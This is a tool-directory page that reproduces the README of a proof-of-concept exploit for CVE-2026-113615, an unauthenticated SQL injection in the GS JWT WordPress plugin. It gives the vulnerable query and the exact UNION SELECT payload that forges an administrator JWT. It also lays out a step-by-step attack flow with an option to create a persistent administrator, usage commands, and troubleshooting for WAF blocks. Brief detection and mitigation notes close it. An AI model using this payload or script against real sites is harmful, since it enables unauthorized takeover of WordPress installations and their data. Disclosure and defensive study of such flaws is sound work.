Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-113615-poc — CVE-2026-113615 - GS JWT <= 1.0.0 unauthenticated SQLi to administrator JWT (PoC + exploit by thiscitze) | Kitploit
Tools/GitHubGitHub/thiscitze/cve-2026-113615-poc
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubthiscitze/cve-2026-113615-poc

cve-2026-113615-poc

CVE-2026-113615 - GS JWT <= 1.0.0 unauthenticated SQLi to administrator JWT (PoC + exploit by thiscitze)

15 days agoNot yet reviewed
Share
View Repository

CVE-2026-113615 — PoC + exploit: GS JWT unauthenticated SQLi to admin JWT

by thiscitze

ProductGS JWT auth and OTP varification (gs-jwt-auth-and-otp-varification)
Affected<= 1.0.0
TypeUnauthenticated SQL injection, privilege escalation
ImpactAdministrator JWT, then full site takeover
CVSS9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-113615

Summary

The plugin exposes POST /wp-json/gs-jwt/v1/verify-otp without authentication. The otp and mobile parameters are concatenated into a raw SQL query. A UNION SELECT makes the handler return a row for any user id, and the handler then signs a JWT for that user. The plugin accepts that JWT for the whole REST API through determine_current_user, so the token carries the user's privileges.

Root cause

// gs-jwt.php, gs_wp_jwt_otp_verify_endpoint_handler()
$OTP    = sanitize_text_field($request['otp']);
$mobile = sanitize_text_field($request['mobile']);

$q = "
SELECT t1.user_id, t1.meta_value as mobile FROM {$wpdb->prefix}usermeta as t1
INNER JOIN {$wpdb->prefix}usermeta as t2 ON t1.user_id = t2.user_id
WHERE
t1.meta_key = '_gs_jwt_fs_otp' AND t1.meta_value = '{$OTP}' AND
t2.meta_key = 'billing_phone' AND t2.meta_value = '{$mobile}'
";
$if_exist_otp = $wpdb->get_results($q);

if (count($if_exist_otp) != 0) {
    $user_id = $if_exist_otp[0]->user_id;
    ...
    $user_data = gs_wp_jwt_encode_token($user_id);
}

sanitize_text_field() does not escape quotes. The expiry check reads _gs_jwt_fs_otp_exp from the target user; a user without that meta yields an empty string, new DateTime('') is "now", and the ten minute window passes.

How it works

  1. Probe — GET /wp-json/ (or ?rest_route=/) must return a JSON index. Redirects are followed and http is upgraded when the server answers 308.

  2. Forge — POST /wp-json/gs-jwt/v1/verify-otp with:

    {"otp":"x' UNION SELECT 1,'m'-- -","mobile":"x"}
    

    The query becomes ... meta_value='x' UNION SELECT 1,'m'-- -', returns a row, and the handler signs a JWT for user id 1.

  3. Verify — GET /wp-json/wp/v2/users/me?context=edit with Authorization: Bearer <token> returns the authenticated user and roles.

  4. Persist (optional, --create-admin) — POST /wp-json/wp/v2/users creates a real administrator with a known password.

The token is signed server-side; the secret never leaves the target.

Requirements

  • WordPress with the REST API reachable at /wp-json/ or ?rest_route=
  • GS JWT plugin <= 1.0.0 active
  • GS_WP_JWT_SECRET_KEY, GS_WP_JWT_ALGO, GS_WP_JWT_EXPIRY and GS_WP_OTP_EXPIRY defined in wp-config.php, as the plugin README instructs. Without them the routes fatal and there is nothing to exploit.
  • GS_WP_JWT_ALGO must be HS256; the plugin always validates HS256.
  • Python 3.6+, standard library only

Usage

python3 poc.py                         # asks for the target
python3 poc.py --url https://target.example

python3 poc.py --url https://target.example --uid 1
python3 poc.py --url https://target.example --create-admin \
    --username labadmin --password 'LabPass123!' --email [email protected]

Options:

FlagMeaning
--urlWordPress site root; a path is dropped automatically
--uiduser id to forge (default 1)
--create-admincreate a real administrator with known credentials
--username, --password, --emaildata for the created account
--timeoutper-request timeout in seconds (default 20)
--proxyhttp://host:port
--no-banner, --no-animplain output
--debugprint all response headers on failures

Output and exit codes

  ⏺ probe REST
    ⎿ ✓ https://target/wp-json  (HTTP 200)
  ⏺ forge JWT for uid 1
    ⎿ ✓ sig ok, token eyJ0eXAiOiJKV1Qi...
  ⏺ verify session
    ⎿ ✓ admin <[email protected]>  roles=administrator
CodeMeaning
0administrator JWT confirmed
1no token (patched, plugin missing, blocked)
2token is not an administrator
3network failure or user creation failed
4REST API not reachable

Failures always show the real status, content type, size, request URL, Server header and a cleaned body excerpt — no guessed messages.

Troubleshooting

SymptomCause
HTTP 403 · text/html · Checking your browser...Cloudflare or similar JS challenge; not solvable without a browser
HTTP 403 · application/json · rest_forbiddenREST API disabled or blocked by a plugin/WAF
HTTP 404 · rest_no_routeREST works, plugin not active
HTTP 500plugin constants missing in wp-config.php
timed out / DNS lookup failednetwork or host unreachable

Detection

  • POST /wp-json/gs-jwt/v1/verify-otp with quotes, UNION, -- or # in otp or mobile
  • A JWT issued to a user that never requested an OTP
  • REST requests authenticated by determine_current_user without a login event

Mitigation

  • Remove the plugin; no fixed release exists.
  • Replace the raw query with $wpdb->prepare() and require a stored OTP that matches the same user and has not expired.

References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-113615
  • WPScan: https://wpscan.com/vulnerability/40e0b8d1-8e13-4c4c-a09a-9ec07c578662/
  • Plugin source: https://plugins.svn.wordpress.org/gs-jwt-auth-and-otp-varification/tags/1.0.0/

Authorized testing only.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    634
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    417
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    383
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    328
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    288

Explore all tools

Browse our collection of tools

View all tools →